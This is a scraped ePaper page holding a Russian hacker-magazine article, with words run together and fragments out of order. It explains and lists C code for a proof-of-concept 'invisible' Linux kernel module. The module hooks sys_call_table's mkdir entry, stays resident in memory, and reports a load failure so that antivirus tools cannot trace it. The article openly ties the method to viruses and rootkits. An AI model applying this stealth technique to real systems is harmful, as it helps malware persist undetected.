12.07.2015 Views

Февраль

Февраль

Февраль

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

unixoidНекорректный перехват системного вызова приводит к аварийномузавершению обратившегося к нему процесса, а не всегоядра целиком (как это происходит в NT)Сборка, загрузка и демонстрация работы невидимого модулякоду (который, кстати говоря, должен бытьперемещаемым, то есть сохранять работоспособностьнезависимо от базового адресазагрузки). После этого мы возвращаем -1, сообщаясистеме, что вызов init_module() потерпелнеудачу.В результате — модуль не загружается, но и выделеннаяим память не освобождается, а этозначит, что резидентный код продолжаетработать! Причем определить, каким именномодулем был выделен тот или иной блокпамяти, в общем случае невозможно, и дажеобнаружив резидентный код, антивирус не сможетсказать, откуда он тут взялся!В качестве шасси мы будем использовать скелетLKM-драйвера, приведенный в уже упомянутойстатье «Поиграем с туксом в прятки». Фактическимы только выбросим процедуруcleanup_module(), выполняющуюся при выгрузкемодуля из памяти (ведь наш модульникогда не выгружается), добавим функциюthunk_mkdir(), замещающую собой старыйсистемный вызов SYS_mkdir(), и напишем несколькосток кода, обеспечивающих выделениепамяти, копирование thunk_mkdir() и подменуоригинального SYS_mkdir'а. Если отброситькомментарии, на все про все понадобитсяменее десяти строк на языке Си!if (!new_mkdir) return -1 |printk(«mem error!\n»);/* определяем адрес оригинальноговызова SYS_mkdir (в данной версиимодуля никак не используется) */old_mkdir = sys_call_table[SYS_mkdir];/* копируем резидентный код новогоSYS_mkdir в блок памяти, выделенныйвызовом __get_free_page */memcpy(new_mkdir, thunk_mkdir, thunk_end — thunk_mkdir);Proof-of-concept module,или готовая демонстрацияДавай в качестве разминки соорудим минимальноработающий невидимый LKM-модульдля Linux с ядром версии 2.4 (ядро 2.6 потребуетнезначительных изменений, о которых я расскажуниже). Вот в операционных системахBSD и NT все сильно по-другому, хотя основополагающийпринцип тот же: в процедуреинициализации выделяем память, копируемтуда резидентный код, перехватываем одинили несколько системных вызовов и возвращаемошибку, приводящую к выгрузке модуляиз памяти. Подробнее о технике написанияLKM- и KLD-модулей под BSD можно прочитатьв моих предыдущих статьях. Также рекомендуетсяознакомиться с циклом статей Four-F'ана wasm'e, покрывающим собой все основныеаспекты разработки драйверов: www.wasm.ru/article.php?article=drvw2k01.Но вернемся к Linux'у. Наш «невидимка» будетперехватывать системный вызов SYS_mkdir, возвращаянеизменную ошибку вместо передачиуправления оригинальному syscall'у, в результатечего создание новых директорий окажется невозможным(во всяком случае, до перезагрузкисистемы). Это сделано для облегчения листингаи упрощения его понимания. Примеры реализацииполноценных перехватчиков содержатсяв моей статье «Системный шпионаж в *nix».xàêåð 02 /98/ 07Сердцевина невидимого LKM-модуля/* заглушка на функцию SYS_mkdir,всегда возвращающая -1, то естьблокирующая всякую попытку созданиядиректории с сообщением об ошибке;), естественно, в полновесномвирусе или rootkit'е здесь долженбыть обработчик, передающий управлениеоригинальному системномувызову */thunk_mkdir(){return -1;// директория не создается}.../* EntryPoint: стартовая функциямодуля, ответственная за его инициализациюи возвращающая 0 (при успешнойинициализации) и -1 (еслив ходе инициализации были зафиксированынеустранимые ошибки */int init_module(void){// выделяем одну страницу ядернойпамятиnew_mkdir = (void *) __get_free_page(GFP_KERNEL);// проверяем успешность выделенияпамяти/* модифицируем таблицу системныхвызовов, заменяя старый вызовmkdir новой процедурой-заглушкой */sys_call_table[SYS_mkdir] =new_mkdir;// выводим отладочное сообщение,что все ОКprintk("SYS_mkdir is nowhooked!\n");/* возвращаем ошибку, предотвращаязагрузку модуля, но оставляя резидентныйкод в памяти */return -1;}Для переноса модуля на ядро 2.6 прототип функцииинициализации следует переписать так:static int __init my_init()module_init(my_init);Пара замечаний. Перечень системных вызовов(вместе со способом передачи аргументов)лежит на docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html. В частности,SYS_mkdir принимает 2 аргумента: в EBXпередается указатель на имя создаваемойдиректории, в ECX — флаги,/ 111

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!